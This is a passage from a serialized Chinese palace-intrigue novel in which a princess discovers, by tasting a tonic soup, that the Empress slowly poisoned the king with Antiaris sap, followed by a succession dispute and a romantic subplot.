可再朝其身后仔细望了望,程良一脸疑惑地问:“怎么,衣姑娘,她怎么没同殿下一道出来呢?” 见轩辕翰一直闷不出声,程良便自顾猜测着道:“难道,衣姑娘,她不愿与我们一道回西秦吗?没想到,世人皆贪图荣华富贵,就连衣姑娘也不例外,真是看错她了!” 话音刚落,便见轩辕翰忽然驻足停了下来,朝其瞪着眼睛大声呵斥道:“住口!从此以后,本王再也不要听到这个女人的名字。” 闻此,程良与陆天麟互相对视了一眼,不知方才到底发生了什么,竟如此激怒了这个主子,只知道这一定与衣上云有关,无奈只得赶忙收了声。 轩辕翰话一说完,转身又狠狠地瞪视了一眼眼前的这座富丽堂皇的皇宫,不知在心底暗暗下定了什么决心,继而便三步并作两步,疾步上前翻身上到了马背上。 程良与陆天麟亦急急跟着上马,程良再不敢出声,陆天麟便小心翼翼地问了句:“殿下,我们现在去哪儿?” 轩辕翰面色冷厉,沉声说道:“回西秦!” “是!” 于是,在俩人旁侧着护送其左右下,三人一起策马奔腾于长街之上,朝着西秦国的方向疾驰归去。 此刻,在继后的宫中,秦王被衣上云当众羞辱一事早已传遍。 回廊上,徐徐传出一声音道:“正所谓‘好人不长命,祸害遗千年’,这句话倒是一点儿也不假!那个贱人竟敢与本宫的心头肉抢夫婿,本宫看她着实是活腻了!只是没想到,那秦王竟然被那个贱蹄子当众羞辱至此,也算是替我媛媛出了一口恶气。” 伴随着声音传出,继后一袭凤袍加身,正从回廊里缓缓移步到花园,身后跟着一众宫女嬷嬷们小心伺候着。 一想起远嫁西秦的梅汐媛来,不禁有些伤感:“本宫的媛媛,终究是错付了她的一片真心!” 当时抱着让梅汐媛远嫁西秦,有朝一日能助秦王轩辕翰上位,然后自己再助其子梅志豪一臂之力,将他送上高位。如此一来,她便拥有了东宁与西秦两国的势力,那该是何等的风光? 可如今看来,算盘打得太精,未必是件好事!显然,秦王轩辕翰,是梅汐媛所驾驭不了的。这颗棋子,怕是无用了! 叹了口气,继后忽抬头看了看天,许是触景生情,说道:“今儿这天气,看起来阴沉沉的,可是不怎么好呢?!” 身后一老嬷嬷想了想,回道:“近日这天气似乎都是如此,见不到个暖阳,都不怎么好,也不知道是什么缘由?” 继后稍一思量,冷哼了一声,阴阳怪气地道:“依本宫所看,这乃是妖气,许是一股妖气笼罩了整座皇宫才至此吧!本宫就说嘛,那个贱人就是矫情,活着就一副狐媚样,死了都不死得干净利落些,竟然还留下这么个孽种回来继续害人,真是阴魂不散!晦气,真是晦气!” 老嬷嬷一听,忙开口劝说道:“嘘,皇后娘娘请谨言慎行啊!如今娘娘已然触怒了皇上被禁足,那新封的永宁公主眼下正在得势,若是这话被传到了皇上的耳朵里,怕是皇后娘娘又要雪上加霜不知被皇上如何责罚了!” 闻此,继后一想起至今都不知自己究竟是被谁设计而禁足之事便来气,即刻朝其怒声道:“怕什么!如今本宫已然被禁足在自己宫里,难不成他还能再下令杀了本宫不成!” 见其震怒,身旁的宫女嬷嬷们顿时纷纷跪了一地,劝道:“皇后娘娘息怒,皇后娘娘息怒!” 继后见这些人已然被自己吓得不轻,方才缓缓开口说道:“好了好了,此事与你们无关,都起来吧!” “谢皇后娘娘恕罪!”至此,一众人等方才缓缓起身。 这时,继后信步又来到了花园里的锦鲤鱼池旁,见其兴趣盎然,宫女忙奉上鱼食。 继后一边饶有兴趣地喂食着在池水中优雅端庄,又灵动可爱,游来游去的数尾锦鲤鱼,一边又问:“对了,皇儿近日都在宫里做些什么?” 老嬷嬷想了一瞬,终是硬着头皮上前回禀道:“回皇后娘娘,二皇子殿下,他自从被皇上亦下令禁足于宫中之后,便一直在宫里发脾气,闹着要出来找……找三皇子殿下,三皇子妃娘娘报仇!” 原以为继后听到这话会发怒,没想到她却意外地表现地一点儿也不生气,依旧兴致不减地自顾自逗着池中的锦鲤鱼。 半晌后,方才停下了手里的动作,对着鱼儿笑了笑,问道:“皇上那边呢?本宫亲手为他所调制的膏滋调理汤,他可有每日都按时服用?” 老嬷嬷闻声脸上扬起一抹笑容来,答:“皇上虽将娘娘禁了足,但每日送去的膏滋调理汤,皇上都在坚持服用。可见,皇上的心里,还是日日记挂着娘娘的。” “哼……”闻此,继后发出漠然冷冷的一声哼笑。 后又于嘴角扬起一抹邪笑来,似是颇为满意狠狠地道:“甚好,算一算,这时间也差不多了。新仇旧恨,是该出来一起算一算了。该是本宫的,本宫终究都会一一拿回来,谁也别想从本宫手里夺走分毫。” 看着她此时的恶狠狠模样,在旁众人心里皆不禁打了个寒颤,没有人敢再出声。 清心殿里。 闻讯匆匆赶到的梅志煊,衣上云与易三少三人在一起仔细检查又盘问过了殿内所有的侍从后,皆都个个一脸疑惑地端坐在殿内沉默了下来。 显然,从其日常起居上,皆是一切正常,毫无所获。 这时,衣上云终于整理好悲伤的情绪,仍有些愣愣地道:“我确定,父皇一定是中毒而亡!一定是有些细节被我们遗漏了!” 落座在其身旁的易三少深看了她一眼,亦是同意衣上云的推断:“我也确定,老国君面色发紫,腹部肿胀,的确是毒发身亡。” 梅志煊默默地坐在一旁,故作悲痛欲绝又狠狠地道:“是谁下的毒手?若是让本皇子查出来,一定将他满门抄斩,碎尸万段。” 就在这时,紧紧皱着眉头站在一旁若有所思了半天的侍卫心里忽然隐隐觉得有些话不知当讲不当讲,终是低低开了口,问道:“不知公主,三皇子,还有太子三人中有没有人听过何谓膏滋调理汤?” “膏滋调理汤?”闻此,三人几乎同时朝其放眼看去异口同声地道。 衣上云顿看了易三少一眼,易三少对其点了点头,衣上云便开口说道:“冬季是补充和收藏营养精华的季节,在民间亦是流传着‘今冬进补,明年打虎’、‘三九补一冬,来年无病痛’的说法,故在冬令进补之时,服用具有高营养滋补和治疗预防综合作用俱佳的膏滋方便可以增进人体的健康状态。” 在场三人一起认真地听着。 衣上云继续道:“但膏滋方始终亦是一种药物,需根据每个人不同的体质特点、症状和体征而确立不同的处方,具有“一人一方”的特点。” 显然,她不明白侍卫为何会有此一问,于是衣上云不解地问:“你又为何会问到‘膏滋方’?” 侍卫心里其实也只是怀疑,可一听衣上云说膏滋方亦是一种药,具有“一人一方”的特点,便道:“其实,就皇上平日里的饮食起居,方才,我们漏了一样?” 顿时间,三人一起瞪大了眼睛看着侍卫的脸,惊声道:“漏了一样……” 第四百八十二章:试毒 侍卫心里其实也只是怀疑,可一听衣上云说膏滋方亦是一种药,仔细想想与继后当时所说的完全不同,便更加怀疑,于是说道:“其实,就皇上平日里的饮食起居,方才,我们漏了一样?” 顿时间,三人一起瞪大了眼睛看着侍卫的脸,惊声道:“漏了一样……” “漏了一样?莫非就是你说的这个……膏滋调理汤?”衣上云瞬间反应了过来。 侍卫认真地点了点头。 衣上云立刻回忆了一会儿,确是对此事毫无记忆,便问他:“皇上是何时开始起服用的膏滋方?日前我一直寸步不离地在清心殿里伺候他的饮食起居,我怎么从来都不知道皇上在服用什么膏滋方?” 侍卫这才越来越觉得不对劲,说道:“因为皇后娘娘特别交代过,说这个乃是她为皇上特地寻来的祖传秘方,不许任何人偷窥,尤其是公主您,所以才每次都是乘您不在的时候命人送来给皇上服用的……” 闻此,衣上云顿立起身来,只觉不可思议,惊诧极了:“皇后娘娘……你是说,前段时日被皇上禁足于自己宫中的皇后娘娘?” “正是。”侍卫朝其重重地点头。 衣上云顿时气坏了,扬声责怪道:“你们……我不是跟你们交待过,皇上大病初愈,不可随便用药,就连平日里的吃食都要经我查验过才可以拿给他吗?更何况还是药,你们怎么能瞒着我让皇上随便服用其他药物呢?” 闻此,亦是刚刚才恍然大悟明白了一切的侍卫已然后悔极了,心下里一着急,竟“扑通”一声跪了下来,道:“公主息怒,公主息怒!” 衣上云已然后悔自责不已,遂暗自悄悄握起一拳来重重地叹息了一声。 这时,梅志煊狠狠拍了一把身边的案几,道:“终是本皇子大意了,这才让皇后有机可乘。没想到皇后竟然对父皇起了如此这般歹毒的念头……” 许是近日里连连发生了许多的事颇为伤神,这会儿又强忍着丧父的巨大悲痛在此苦撑议事。 衣上云顿觉有些体力不支,眼前一黑,整个身子一斜便就这样倚靠在了桌案边,她忙用一只胳膊强撑在案上。 易三少见了,遂起身伸出一手过去搭在她的肩上,关切地道:“丫头,没事吧,振作一点!” 衣上云缓缓回过神来,朝他看了一下,点点头以示自己并无大碍。 侍卫继续回忆着对其解释说:“起初,因为是皇后娘娘亲自送来的,说是亲手调制。皇后说,膏滋是滋补调理品,并非药类。兼有预防、治疗的双重作用,而且口感甜润好入口,是延年益寿的佳品,皇上也对此甚是赞不绝口,属下们更是无论如何也不敢怀疑到皇后身上,这才……这才……” 衣上云隐忍着心头的愤怒,道:“糊涂,这膏滋方虽好,也不是每个人都适用的。” 至此,看似整个事情终于有了些许眉目,然易三少也似有些难以相信,问道:“难道,真的是皇后的膏滋调理汤上出了问题?” 是啊,目前看来虽然皇后下毒的可能性很大,然终归都没有证据,衣上云暗自想了想,忽回神过来,忙开口问侍卫道:“父皇今日可曾已服用过此膏滋?” 侍卫想了想,道:“皇后娘娘说这膏滋调理汤早晚各一次,效果最佳。所以,这晨起的分量已服用过了,晚上的……还在炉子上热着呢!” 衣上云听了,便迫不及待地下令道:“赶快盛上来瞧瞧!” 侍卫很快便将余下的膏滋调理汤端了上来,三人遂忙起身来一起围着案上茶盘中的膏滋调理汤细细观察琢磨研究了半晌。 衣上云对此不禁有些惊叹,说道:“调制膏滋调理汤乃需经过6个时辰浸渍,3道提取,4次浓缩,12个时辰化胶,武火3次熬,文火收成膏,经过地道选材、秘法炮制、深度清洁、慢浸长泡、武火熬汁、文火煎稠、滤清提髓、秘制收膏这8道繁琐工序,总共大概需要7日左右的时间才能完成。如果这一切真的是皇后所为,那她还真是煞费苦心了!” 梅志煊却是始终对其一脸不解地问:“这膏滋调理汤,怎么会是毒呢?” 易三少悠悠道:“《神农本草经》根据药物有无毒性将药物分为上、中、下三品。上品为延年益寿药,无毒;中品为防疾补虚药,有毒无毒根据药量而定;下品为治病预疾的药物,多有毒性,不可久服,某些药物使用不当会致人中毒甚至死亡。而且我们都说“是药三分毒”,而在此不要错误的认为所有的中药都是有毒的,它的正确解释是药物是具有寒热温凉某种偏性。” 衣上云又介绍道:“‘小毒’指有一定毒性,这类药治疗量与中毒量差距较大,只有在过量或使用不当时可能出现毒副作用,如常用于止咳平喘的苦杏仁和祛寒除湿的艾叶等。” 易三少接着道:“‘有毒’也称常毒,这类药治疗量与中毒量比较接近,应注意用法和剂量,如制川乌、制附子、苍耳子、朱砂等。” 衣上云想了一下,脸色渐渐沉了下来,缓缓道:“‘而大毒’是指毒性剧烈,这类药治疗量与中毒量接近,必须严格遵医嘱使用,如雷公藤、马钱子等。 易三少亦面色阴沉,道:“‘极毒’也称剧毒,这类药毒性剧烈,生品常用量很小或不宜内服,如砒石、生川乌、生草乌等。” 梅志煊听了二人的详细解说,心里顿时大吃一惊,原来平日里一株不起眼小小的药草里竟也有如此大的学问,可一想又甚觉不解:“若是治病救人的良药也就罢了,这研究教人这些毒草又有何用?” 衣上云吐了口浊气,道:“自古以来,许多医者均认为“药以治病,因毒为能”,经研究也证实部分有毒、大毒或剧毒药确能攻克一些疑难重症。如砒霜的提取物能治疗某些类型的血液病,附子等药物制成的“四逆汤”能散寒止痛。可尽管如此,为了避免出现严重的毒副作用,使用有毒性的药物,一定要非常注意。” 梅志煊疑惑地问:“要非常注意?” 衣上云深看了他一眼,说道:“首先,不建议自行选用有毒中药自制药酒或加工丸散。其次,尽量不要超量用药,不宜连续长时间用药。有的人长期误用3克制川乌,也造成过严重的中毒反应。再次,必须合理选用炮制加工过的药物,严禁生品入药。最后,对乌头类,如川乌、草乌、附子等药物,应遵医嘱先煎、久煎,有的甚至要久煎2小时以上。” 易三少自始至终都定定地看着衣上云的脸,此时挑了挑眉,似是对其小小年纪便有如此精湛的医术颇为认可,赞说道:“丫头说的一点儿也不错,比如朱砂的颜色鲜艳,经常会被女子拿来用在面部从而增加美感,而且也是胭脂的主要成分。然朱砂也是一位非常常见的中药材,它的主要作用就是能够起到安神助眠的作用,如果说有失眠问题困扰的话,可以去适当的服用一些。但是要知道朱砂不能够长期大量的服用,否则对肝脏的损伤是非常严重的。” 梅志煊恍然大悟:“原来如此。” 一回过神来,复又看向面前的膏滋调理汤,问:“那在此汤中,究竟有毒无毒?” 这时,侍卫忙开了口:“这碗药汤,太医方才已经用银针仔仔细细地检查过好几遍了,并未发现有任何异常。” 闻此,衣上云再次将目光落回去,朝其更加仔细地端详揣摩了一番。 稍时,只见她缓缓伸手上去捏住茶盘里所放着的一把干净的银匙将碗里的药汤舀了一勺,靠近到自己的鼻翼闻了闻。 就在易三少和梅志煊俩人默默静立在一旁,眼睁睁看着她的一举一动,不知其此时之举究竟有何意图时,衣上云忽地将这一匙药汤全都灌到了自己的口中。 顿时间,易三少与梅志煊,侍卫三人几乎异口同声地叫喊道: “丫头,你在做什么?” “皇妹,你这是干嘛?” “公主万万不可!” 就在三人俱都被其举动吓了一跳,瞠目结舌地眼睁睁看着她时,衣上云却忽然嘴角上扬勾出一抹好看的弧度,笑了起来:“没错,问题果然出在这碗药汤里!” 闻此,易三少亦急急一把夺过了其手里的银匙,上前毫不犹豫地舀了一勺含在嘴里,片刻后亦是同样看向衣上云的脸,俩人似是尝到了同样的味道,心有灵犀地道:“没错,就是它!” 衣上云笑着对其肯定地点了点头。 易三少脸上忽然露出一抹忧愁来,道:“可如此小的剂量,又该如何才能析出呢?如果拿不出铁证来,定是无法治皇后的罪。” 就连易三少亦摇头似是办不到的事情,衣上云忽然扬声说道:“我有办法!” 第四百八十三章:东宁的未来何去何从? 打小便可谓是尝遍百草的衣上云,凭借着其异于常人尤为敏锐的味觉与嗅觉,想要从一碗汤药里一味不漏地辨识出其所有成份,哪怕只是微之又微的含量,并不是一件难事。 可虽说人命关天,但始终都事关于一国皇后,竟下毒致本国国君丧命,此等灭族大罪,更是骇人听闻。若是此事一旦被公众于世,会被自己的子民如何议论?如此一来,又将皇家威严置于何处? 而易三少作为一药草鬼才,当然亦是如此。可显然,此时易三少亦是犯起了愁来,道:“可如此微乎其微的剂量,又该如何才能鉴定呢?如果拿不出铁证来,皇后如何会承认?” 就连易三少亦摇头似是办不到的事情,衣上云忽然扬声说道:“我有办法!” 闻此,正在暗暗打定着自己主意的梅志煊似是急不可耐地惊声道:“你有办法让皇后认罪?此话当真?” 梅志煊此刻只觉是天助他成事,原本欲想借助从西秦偷偷购回的火药在城中寻个机会,制造一场混乱,带人逼宫的,不想计划最终失败。 没想到,竟然有人比他更心急,皇后居然早已预谋着将老国君毒死,这可真正是“踏破铁鞋无觅处,得来全不费工夫”。 如此一来,他倒也省的了许多的事,免得自己落个不忠不孝之千古骂名。 如今,若是衣上云真能证明是皇后下的毒,那么,皇后在朝中的势力必定会全部被一并除掉,这样一来,整个东宁国便不费吹灰之力就成了自己的囊中之物。 没想到,她费尽心思寻回的这名女子,还真是不简单。 一边想着,忽一对视上衣上云的眼睛,衣上云见其眼中毫无痛失至亲的悲痛之色,竟是有些惊喜,不禁瞬间惊愣住,不知他为何会有如此反应? 梅志煊刚一反应过来,忙躲闪过她的眼睛注视,开口解释道:“哦,皇妹,我的意思是,皇妹真能从这碗汤里查出毒来,如此,九泉之下的父皇也算是能瞑目了!” 话音刚落,梅志煊竟就这样佯装着掩面哭起丧来:“父皇啊,你死的好冤啊!想我泱泱大国,也算是人才济济,尔今宫中太医无数,竟然都是些平庸之辈,关键时刻,却无一人能为你验明真相,父皇死不瞑目,实属儿臣们不孝,儿臣不孝啊!” 见此,衣上云蹙眉心中似是若有所思着,原本看似坚定的心亦忽然变得有些迟疑了起来,最后缓声说道:“事关重大,不可妄言,容我再细细想想。” 梅志煊似是已猜到了她几分心思,遂放低了些许哭声来道:“那皇妹你可一定要好好想想,如今之计,怕是只有皇妹才能替父皇查明真相了!” 这时,一直在一旁静静陪伴着的易三少见衣上云脸色并不怎么好,且时辰亦已经是深夜了,于是起身来对梅志煊说道:“今日天色已晚,公主太累了,这里的事就有劳三皇子安排一下,我带公主先回宫去歇息。否则,公主怕是会体力不支无法应对接下来的事情。” 梅志煊忙道:“理应如此,那就有劳太子殿下费心照顾皇妹了!” 易三少朝其点了点头,扶着衣上云缓缓起身来走出了清心殿。 冬暮雨霏霏,像是在为即将到来的立春匆忙的作着准备。 不知何时,窗外竟飘起了细细的雨丝来,让人觉得神秘又迷离。 淡雨随着微风飘落,到处一片漆黑静悄悄的,似是要将世界万物都吞噬掉一般,令人感到窒息。 此时,沐浴更衣换上了一袭白色丧服终于一个人独自回到自己寝殿内的衣上云反手将门紧紧关了起来,却不知何时早已泪流满面。 失魂落魄地进屋后,最后落坐在案几边,一边流泪,一边对着窗外的绵绵细雨自言自语说道:“殿下此刻应该早已离开东宁的国土了吧?此生,殿下一定恨透了云儿。对不起,真的对不起。云儿所说的那些话,都不是真心的,不是真心的……” 说完,无力极了地俯身趴在案上,埋头默默地哭了起来。 不知过了多久,缓缓直起身坐了起来,吸了吸鼻子,眉头紧紧皱起,思量着道:“没想到,皇后竟如此居心叵测,夫妻一场,居然对父皇绝情至此,以至于等不及父皇百年,便迫不及待地想要让自己的儿子继任皇位,她到底在怕什么?她已经是皇后了,普天之下,一人之下万人之上,她的儿子定会是未来的国君无疑,却又为何如此着急?” 衣上云百思不得其解,接下来却又更加忧心:“可如今,看那二皇子梅志豪不学无术,荒诞无稽,无德无能,品性极劣,怎担得起一国之君的重任?梅志煊则心胸狭隘又城府极深,心狠手辣,为达目的不则手段,行事武断哪里还有什么仁慈道义可言?若是将东宁国都交到了这样人的手里,怕是很快便就会国将不国了。” 东宁的未来何去何从?一念至此,终是久久思之而无果。 转念,又想起了轩辕翰来,想如果有他在身边,他一定会处理好一切,自己一定不会这般无助又烦心了吧! 她着实没有想到,他今日竟然会再次冒险独自回到宫里来,就只为了带她一起走,遂默默地道:“如今已然乃东宁国多事之秋,云儿身为一国之嫡公主,又岂能不管不顾自己子民的安危,眼睁睁看着父皇母后呕心沥血所打下的这片江山就此任人糟践,百姓任人欺凌,而自己却只顾自己的享乐,随殿下远走高飞一走了之。云儿,云儿实在是没有办法,只希望殿下能够回到属于自己的地方,一生平安,喜乐……” “咚咚咚” 就在这时,一阵叩门声响起,衣上云遂忙擦干了眼泪,拖着疲惫的身子起身过去将门打开。 一见来人,有些惊讶地道:“三少,是你。” 易三少心疼地深看了她明显刚刚哭过的脸,解释说道:“今日发生了这么多事,我不放心你,便过来看看。” 衣上云缓缓松开了附在门板上的两只手,道:“请进!” 带着易三少进门后一边落座下,一边帮其倒了一盏热茶,对其开口致谢道:“今日,多谢三少。若不是你,我还不知道自己一个人要如何面对这一切?” 易三少格外认真真诚地道:“丫头,无论天涯海角,我都会一直陪着你的。” 衣上云一边亲自将茶水递上,一边道:“三少,你真的不必对我如此这般好,我不值得。” 然易三少却始终都坚定不移地道:“不,你值得。” 见其面露难色,易三少遂忙转移开话题道:“对了,方才你说你有办法证明这药汤里有毒,不知是何办法?” 衣上云深吸了口气,说道:“皇后的这道膏滋调理汤是由被誉为“滋阴补生,扶正固本”之极品的三两人参,补益肝肾、益精血、壮筋骨的百年何首乌,鹿茸等,再配以枸杞、龟胶熬制而成的,三少认为,云儿说的可对?” 易三少回想了一下,微微蹙眉道:“似乎还少了一味,只是不知为何物?” 似是有些不忍心,衣上云又不得不再次回忆起:“三少可记得当时我们查验过父皇的身体,他乃是因心脏麻痹,血管封闭,血液凝固,以至于最后窒息而亡。” 易三少听到此处,似是都觉得有些不敢相信自己的判断,这下毒之人心里是有多恨,竟然用此世间至毒之物:“你是说,是它!” 衣上云道:“没错,是九毒草之首‘见血封喉’。” 顿了顿,继续说:”见血封喉,又名箭毒木,是世上木本植物中最毒的一种树。该树的干、枝、叶及果的汁液有剧毒,仅经伤口进入体内便可使其心脏麻痹、血液凝固而死亡,故得名“见血封喉”。深山老林里的猎人用这种树毒浆涂在箭头上,箭头一旦射中野兽,野兽很快就会因鲜血凝固而倒毙。如果不小心将此液溅进眼里,可以使人眼睛顿时失明。甚至这种树在燃烧时,烟气入眼里,也会引起失明。有种惊人的说法,用这种树毒汁涂在箭头上,被射中的猎物,很少能活到5秒以上的,故民谚云:“七上八下九不活”,意为被毒箭射中的野兽,在逃窜时若是走上坡路,最多只能跑上七步;走下坡路最多只能跑八步,跑第九步时就要毙命。人和动物若被涂有毒汁的利器刺伤即死,故叫"见血封喉"。” 听了这些,见易三少甚觉惊心,衣上云又何尝不匪夷所思,最后缓声说道:“但皇后极其聪明,她将一般人根本无法发觉的极微又微量的见血封喉长期加入到父皇的药汤里,让毒物慢慢积聚,终有一日,父皇毒发身亡。” “皇后,她怎会如此恨东宁国君呢?这到底是为什么?”易三少疑惑极了。 俩人一起沉默了半晌后,衣上云深吸了口气,似是心中对此已有了决断,一字一顿地道:“因为我!” 顿时,易三少看向衣上云的眼睛惊声道:“因为你?” 第四百八十四章:下一世,是否就有优先权? “皇后,她怎会如此恨东宁国君呢?这到底是为什么?”易三少心里着实疑惑极了。 俩人一起沉默了半晌后,衣上云深吸了口气,似是心中对此已有了决断,一字一顿地道:“因为我!” 顿时间,易三少看向衣上云的眼睛惊声道:“因为你?” 衣上云又一次情不自禁习惯性地附手上去默默地抚摸着手腕上的七彩金丝彩玉镯子,缓缓说道:“自古女人之间的战争向来都是不见硝烟,却胜似狼烟滚滚的。后宫之争,尤为如此。在后宫中那群如花的女子,或许有显赫的家世,或许有绝美的容颜、机巧的智慧。她们为了争宠,争荣华富贵,争夺一个或许并不值得的男人勾心斗角,尔虞我诈,将青春和美好年华都虚耗在了这场永无止境的斗争中。” 易三少亦瞥了一眼她腕上的镯子,后又看着她的侧脸认真地听着。 “当今皇后,她乃国之功臣已故温宰相的独女,当年父皇之所以能够登基,全因温宰相的一手扶持。皇后实乃名副其实的名门闺秀,出身高贵,自幼便琴棋书画样样精通,是天之骄女,又对皇上甚是倾心仰慕,所以刚一及笄便成了父皇的第一位妃子,对父皇一片深情,把整颗心都用在了父皇身上。甚至于父皇在继位之后,温宰相恃宠而骄屡屡在朝中多生事端而欲除之时,皇后竟能大义灭亲,拿出宰相一生中诸多收受巨额贿赂的铁证。” 至此,易三少似是已能了解其中一二,衣上云顿了顿,起身来到窗边,看着窗外漆黑一片的夜色中淅淅沥沥似是永远都下不完了的雨。 继续说道:“可这一切,原本皇后认定了属于自己的一切,却只因母后的出现,全都被打乱了。她甚至认为,是母后的出现夺走了她所有的未来与希望。母后夺走了她的夫君,她的天,她的地,她的位置,她靠着出卖至亲方才得到的这一切。所以,她才心生怨恨,恨透了母后。更是怎么都没有想到,这个世界上还有一个我。” 易三少叹息了一声道:“喜新厌旧乃人之常情,对于一代君王自然亦不例外。” 衣上云却道:“喜新厌旧乃人之常情没错,但人情亦有更深邃的一面。其实父皇也不是没有爱过皇后。只是有些人,喜欢边走边爱。不到最后,似是永远都不知道自己此生最爱的那个人到底是哪个?可父皇他却永远都不知道,被自己爱到一半所厌弃的人的感受?她们的余生,将是多么地煎熬和悲哀?” 易三少不以为然:“话虽如此,可哪朝帝王的后宫中不是佳丽三千?若想要成为一宫之主,夺得高位,如此不大度,贪得无厌容不下她人,如何能行?” 衣上云转身望着易三少,认真地看了看他,却道:“三少,你亦乃南安国太子,南安国未来唯一的继承人。未来终有一日,你也会是一国之君,你也会有后宫佳丽三千人,谁才是那个集三千宠爱于一身之主位者?到时候,怕是你也会有和父皇一样两难的时刻,你又会做何选择?” 易三少定定地与其对视了片刻,缓缓起身来,朝其踱步近身过去,看着她的眼睛说道:“你不是我,你怎知我未来就一定会是一国之君,又如何知道我定会有此两难的时候?” 看着易三少渐渐俯身而下,与目光一起朝自己的脸步步逼近,衣上云只觉顿时不能呼吸,心里扑通扑通乱跳不停了起来,慌乱无措间不由自主地后退了两步。 眼看着就要撞到窗棂上,口中还似吞吞吐吐地想要说些什么,道:“我,我……” 就在这时,易三少忽地伸出一手拍在了其身后的窗户上,让其后背自然的靠在自己坚实的臂膀上,温柔地对她说:“这一生,我只会因你一人而为难?” 从开始认识到现在,俩人还从未离得这么近过,此刻,像是都能听到彼此的心跳一般。 刹那间,衣上云觉得自己差点就要被其攻陷,可终还是忽地回过神来,身子一歪,便从其环抱中灵巧地抽身出来闪避开。 紧忙迈步回到案几边落座下,兀自倒了一盏茶灌下,好以此来缓解方才尴尬极了的气愤。 犹豫了一瞬,想起清心殿里所发生的事情,那般危险的时刻,易三少竟然想都不想就跟着自己做,便开口道:“三少,若是方才我吞下的不是含量极微的毒药,而是满满一整匙的见血封喉,三少你是不是亦会毫不犹豫地随我一起去试?” 见其满脸羞涩,瞬间绯红一片的脸,易三少嘴角不禁露出一抹坏笑。 闻声,忽卸去脸上的笑意后转身定定地看着她的眼睛,对其无比坚定认真地道:“丫头,经过这一切,我知道你心里只有秦王轩辕翰一人,你对他早已是情根深种。但是,我们都知道,接下来,你在东宁国一定会有很艰难的一段路要走,在他不在你身边无法护你周全的时候,请允许由我陪着你,哪怕你只是把我当成一个旧友,也让我时刻保护着你,陪伴在你左右。不要再拒绝我如此单纯的念头,可好?” 衣上云心里着实感动极了,易三少所说的又何尝不是事实,事到如今已然不知如何再拒绝他,只紧紧地蹙眉说道:“三少,你这般委屈自己又是何苦呢?你明明知道这辈子我承诺不了你什么?” 话音刚落,易三少道:“因为,我舍不得丫头你独自一人伤心难过,更不愿看到你吃苦受累。这一生,我并不奢望能从你这里得到什么?我只是想,若是这一生我加倍再加倍地对你好,下一世,是否就有优先权?你会不会优先来到我的身边?” 此话一出,一室寂静。 昏黄的烛火照耀下,易三少伸手替衣上云温柔地拭去已然悄悄落下的泪水。 国丧期间,朝中文武百官均需服丧满27日,在这27日里,批阅奏折,不能用朱笔批示,一律改用蓝笔,各部院衙门行文也要改用蓝印。 服丧期内,各寺院、道观须鸣钟三万次,诵经和吊唁活动更是每日不绝。 自先帝驾崩之日起,文武官员及所有百姓百日之内不准作乐,七七四十九日内不准屠杀,全国子民一月之内禁止嫁娶。 终于,近一月的漫长又压抑的国丧期结束了。 亦是春天里,乃是到处一片新的生机。 朝堂上,文武百官皆跪倒一大片仔细聆听宣旨。 “奉天承运,皇帝诏曰:自朕即位数十载有余,海内河清,天下太平,民有所安,吏治清明,君臣善睦。今自知时日已无多,朕之嫡公主永宁,人品贵重,甚肖朕躬,必能克承大统。诸皇子当戮力同心,共戴新君。诸臣工当悉心辅弼,同扶社稷。著继朕登基,即遵舆制,持服二十七日,释服布告天下,咸使闻知。” 闻此,显然一部分先帝的忠臣奉先帝旨意,推举衣上云作为新一任,亦是本国自建国以来史无前例的第一任女国君:“正所谓‘国不可一日无君’,皇上既然已经立下遗嘱,理应由嫡公主继任下一任国君之位,此乃毋庸置疑!” 这时,梅志煊的势力站了出来,反驳道:“什么狗屁密旨,我国自开国以来,哪里有女子任一国之君的前例,这密旨,也不知道是从哪里来的?指不定便是哪个心存不轨的故意捏造?三皇子英明神武,自是三皇子才是新一任国君的最佳人选。“ 此话一出,朝堂之上一片哗然,众人顿时起身议论纷纷。 “普天之下,就没听过女人能做国君的?” “且还是一个乳臭未干的黄毛丫头!” “对,这密旨一定是假的?” “老国君怎会立下这样的遗嘱呢?” “应是三皇子殿下方才堪当大任啊!” “这不是侮辱我东宁没有好男儿了么?竟让一女子称君。” …… 这时,一白发苍苍的老官员步履蹒跚地上前仔细查验了一番密旨上的字迹,信誓旦旦地道:“老臣发誓,这密旨上的笔迹的确是已故老国君的字迹,绝无半点虚假。” 说完,便颤颤巍巍地朝着衣上云所站立的方向朝其俯首跪拜行大礼:“老臣参见吾皇万岁,万岁,万万岁!” 就在衣上云怔怔地看着正在朝自己下跪行大礼之人,尚还不知发生了什么而迟疑之际,早已在一旁怒火中烧,愤愤不平的梅志煊正欲提步准备上前开口说些什么? 这时,又传出一势力的声音来道:“若说谁最有资格继承新一任国君之位,除了出身高贵的皇后娘娘所出的二皇子殿下,还有谁比他更有资格?” 至此,梅志煊再也按捺不住心头的怒火,没想到东宁国君临死前竟还留下一道密旨,他怎么都没想到,衣上云不过乃一介女子,竟会有继位的资格,于是扬声怒道:“住口,一个触怒父皇被禁足,宛若被打入冷宫的女人所生之孽子,哪有什么资格参与国君之位的擢选?” 就在这时,忽闻殿外传来一厉声道:“大胆……” 第四百八十五章:本宫诅咒你 梅志煊怒道:“住口,一个触怒父皇被禁足,宛若被打入冷宫的女人所生之孽子,哪有什么资格参与国君之位的擢选?” 就在这时,忽闻殿外传来一厉声道:“大胆,是谁给你们的胆子,本宫还是当朝太后,竟敢在此妄议先帝的骨血,二皇子怎么了?尔等竟敢质疑他的身份,莫非,还想要质疑本宫不成?” 众人闻声,顿转身朝殿外所发出声音来的方向望去,见原是继后,亦已是如今的温太后一袭华服,霸气出场,姗姗来迟。 众人忙朝其俯身跪拜:“臣等参见太后娘娘,千岁,千岁,千千岁!” 温太后昂首挺胸,在其子梅志豪的搀扶下一路走到了殿前众官员的面前。 转身扫了一眼殿前众人,忽地对着衣上云与站在其身旁此刻显然有些不知所措,不知自己该不该朝其行礼,只能跟着衣上云,衣上云做什么自己便做什么的梅志煊,大声怒道:“放肆,你们这俩个逆子,见了本宫为何不跪?” 即便此刻,衣上云只要一想起,便是这个女人亲手下毒害死了她的父皇,心里便直恨得牙痒痒,可总归为了顾及皇家颜面,她终是咬了咬牙,缓缓朝其跪身了下去,沉声道:“儿臣参见母后!” 见此,梅志煊亦急急跟着跪了下去,随其说了句:“儿臣参见母后!” 温太后狠狠地瞪视了他们二人一眼,继而开口对群臣训斥说道:“先帝刚刚驾崩,尸骨未寒,你们便在此如此无视本宫孤儿寡母的存在,权当本宫母子亦已经死了吗?竟敢私自妄议新君之位,本宫竟不知你们一个个的,是何居心?” 